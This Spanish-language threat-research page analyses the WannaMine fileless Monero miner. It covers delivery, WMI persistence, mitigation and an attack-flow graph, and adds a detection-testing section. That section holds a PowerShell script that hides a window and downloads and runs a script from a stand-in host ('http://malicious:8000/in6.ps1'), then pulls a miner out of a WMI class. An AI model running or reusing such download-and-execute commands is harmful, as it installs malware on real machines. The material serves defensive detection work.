SOC Prime Bias: Crítico

14 Ene 2026 18:14

Análisis del Cryptominer WannaMine: Ejecución Sin Archivos y Persistencia

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
Análisis del Cryptominer WannaMine: Ejecución Sin Archivos y Persistencia
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

WannaMine es un gusano de criptominería sin archivos que se basa en herramientas ya incluidas en el sistema, principalmente PowerShell y Windows Management Instrumentation (WMI), para permanecer residente en la memoria y minar Monero.

Investigación

WannaMine se entrega ya sea a través de correos electrónicos de phishing que contienen archivos por lotes maliciosos o explotando la vulnerabilidad SMB EternalBlue. Para la persistencia, registra suscripciones a eventos WMI y almacena PowerShell codificado en clases WMI personalizadas.

Mitigación de WannaMine

Prevenga la explotación de EternalBlue parcheando SMB (MS17-010). Restringa la ejecución y monitoreo de PowerShell, observe la creación inusual de clases WMI y consumidores de eventos, y aplique el principio de privilegio mínimo para limitar el uso indebido de credenciales.

Respuesta

Alerta sobre comportamiento anormal de PowerShell/WMI, aísle los hosts afectados, elimine los consumidores/suscripciones de eventos WMI maliciosos, rote las credenciales potencialmente expuestas y realice análisis de memoria para confirmar el minero en memoria.

«graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef operator fill:#ff9900 %% Nodes u2013 Actions action_phishing[«<b>Acción</b> – <b>T1566.001 Phishing</b>: Spearphishing Attachment entregando un archivo por lotes malicioso»] class action_phishing action action_user_exec[«<b>Acción</b> – <b>T1204 Ejecución de Usuario</b>: La víctima ejecuta el archivo por lotes que lanza PowerShell»] class action_user_exec action action_powershell_exec[«<b>Acción</b> – <b>T1059.001 PowerShell</b>: Script de PowerShell oculto determina la arquitectura del SO y descarga la carga útil»] class action_powershell_exec action action_wmi_persistence[«<b>Acción</b> – <b>T1546.003 Suscripción a Eventos WMI</b>: El malware crea clases WMI personalizadas y registra consumidores de eventos»] class action_wmi_persistence action action_pass_the_hash[«<b>Acción</b> – <b>T1550.002 Pass the Hash</b>: Se reutilizan hashes NTLM extraídos»] class action_pass_the_hash action action_wmiexec[«<b>Acción</b> – <b>Movimiento Lateral vía WMIExec</b>: Hashes utilizados para ejecutar PowerShell en hosts remotos»] class action_wmiexec action action_eternalblue[«<b>Acción</b> – <b>T1210 Explotación de Servicios Remotos</b>: EternalBlue (MS17u2011010) usado cuando falla la reutilización de hashes»] class action_eternalblue action action_defense_evasion[«<b>Acción</b> – <b>T1550 Uso de Material de Autenticación Alternativo</b>: Reutilizar hashes robados evita las solicitudes de credenciales»] class action_defense_evasion action action_compute_hijacking[«<b>Acción</b> – <b>T1496.001 Secuestro de Computo</b>: El sistema se configura para minar criptomoneda Monero»] class action_compute_hijacking action action_power_settings[«<b>Acción</b> – <b>T1653 Configuración de Energía</b>: Administración de energía alterada para prevenir el sueño y mantener activa la minería»] class action_power_settings action %% Nodes u2013 Tools and Malware file_batch[«<b>Herramienta</b> – <b>Nombre</b>: Archivo por Lotes Malicioso<br /><b>Descripción</b>: Contenedor para el comando inicial de PowerShell»] class file_batch tool tool_powershell[«<b>Herramienta</b> – <b>Nombre</b>: PowerShell<br /><b>Descripción</b>: Motor de scripting utilizado para descarga y ejecución»] class tool_powershell tool tool_wmi[«<b>Herramienta</b> – <b>Nombre</b>: Instrumentación de Administración de Windows<br /><b>Descripción</b>: Registra suscripciones de eventos para persistencia»] class tool_wmi tool tool_mimikatz[«<b>Herramienta</b> – <b>Nombre</b>: Módulo Mimikatz<br /><b>Descripción</b>: Extrae hashes NTLM de la memoria»] class tool_mimikatz tool tool_wmiexec[«<b>Herramienta</b> – <b>Nombre</b>: WMIExec<br /><b>Descripción</b>: Ejecuta comandos en máquinas remotas vía WMI»] class tool_wmiexec tool exploit_eternalblue[«<b>Herramienta</b> – <b>Nombre</b>: Exploit EternalBlue<br /><b>Descripción</b>: Explota la vulnerabilidad SMB MS17u2011010»] class exploit_eternalblue tool malware_payload[«<b>Malware</b> – <b>Nombre</b>: Carga Útil Personalizada<br /><b>Descripción</b>: Componente descargado que realiza minería»] class malware_payload malware process_download[«<b>Proceso</b> – <b>Nombre</b>: Descarga de Carga Útil Remota<br /><b>Descripción</b>: Recupera binario adecuado para la arquitectura del SO»] class process_download process process_mining[«<b>Proceso</b> – <b>Nombre</b>: Minero de Monero<br /><b>Descripción</b>: Consume ciclos de CPU para minería de criptomoneda»] class process_mining process %% Connections u2013 Attack Flow action_phishing u002du002d>|entrega| file_batch file_batch u002du002d>|ejecutado_por_el_usuario| action_user_exec action_user_exec u002du002d>|desencadena| action_powershell_exec action_powershell_exec u002du002d>|utiliza| tool_powershell action_powershell_exec u002du002d>|descarga| process_download process_download u002du002d>|almacena_como| malware_payload malware_payload u002du002d>|crea| action_wmi_persistence action_wmi_persistence u002du002d>|utiliza| tool_wmi action_wmi_persistence u002du002d>|extrae_hashes_con| tool_mimikatz tool_mimikatz u002du002d>|habilita| action_pass_the_hash action_pass_the_hash u002du002d>|habilita| action_wmiexec action_pass_the_hash u002du002d>|retrocede_a| action_eternalblue action_wmiexec u002du002d>|realiza_movimiento_lateral| process_mining action_eternalblue u002du002d>|explota| exploit_eternalblue exploit_eternalblue u002du002d>|gana_acceso_para| process_mining process_mining u002du002d>|conduce_a| action_defense_evasion action_defense_evasion u002du002d>|habilita| action_compute_hijacking action_compute_hijacking u002du002d>|modifica| action_power_settings «

Flujo de Ataque

Ejecución de Simulación

Prerequisito: La Verificación Preliminar de Telemetría y Línea Base debe haber pasado.

Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y el relato DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.

  • Narrativa de Ataque y Comandos:
    Un atacante obtiene ejecución de código remoto en un punto final de Windows. Para evitar la interacción del usuario, lanza PowerShell en una ventana oculta (-W Hidden) sin perfil (-NoP) y no interactiva (-NonI). El comando utiliza IEX para descargar una carga útil de PowerShell desde un servidor HTTP malicioso (http://malicious:8000/in6.ps1). El script descargado registra una clase WMI nombrada Office_Updater bajo rootdefault que almacena una propiedad mon que contiene un minero de Monero codificado en Base64. Luego, el atacante lee la propiedad a través de [WmiClass] y la invoca, lanzando efectivamente el criptominero sin crear un nuevo proceso. Esta secuencia coincide con las tres subcadenas de línea de comando de la regla de detección.

  • Script de Prueba de Regresión:

    #-------------------------------------------------
    # Simular ejecución de criptominero sin archivos WannaMine
    #-------------------------------------------------
    $maliciousServer = "http://malicious:8000"
    $payloadPath     = "$maliciousServer/in6.ps1"
    
    # 1. Ejecución de PowerShell oculta, no interactiva
    $cmd = "-NoP -NonI -W Hidden " +
           "IEX(New-Object Net.WebClient).DownloadString('$payloadPath'); " +
           "`$mon = ([WmiClass] 'rootdefault:Office_Updater').Properties['mon'].Value"
    
    # Invocar el comando (esto es lo que el atacante ejecutaría)
    Start-Process -FilePath "powershell.exe" -ArgumentList $cmd -WindowStyle Hidden -NoNewWindow
    
    # Nota: Se asume que el script remoto (in6.ps1) crea la clase WMI
    # con una propiedad "mon" que contiene el código de minería.
  • Comandos de Limpieza:

    # Eliminar la clase WMI maliciosa
    Get-WmiObject -Namespace "rootdefault" -Class "Office_Updater" | Remove-WmiObject -ErrorAction SilentlyContinue
    
    # Detener cualquier proceso de minería de PowerShell restante (si alguno fue lanzado)
    Get-Process -Name "powershell" -ErrorAction SilentlyContinue |
        Where-Object {$_.CommandLine -match "mon"} |
        Stop-Process -Force
    
    # Opcional: Limpiar archivos de transcripción/log de PowerShell creados durante la prueba
    Remove-Item -Path "$env:LOCALAPPDATAMicrosoftWindowsPowerShellTrace*" -Force -ErrorAction SilentlyContinue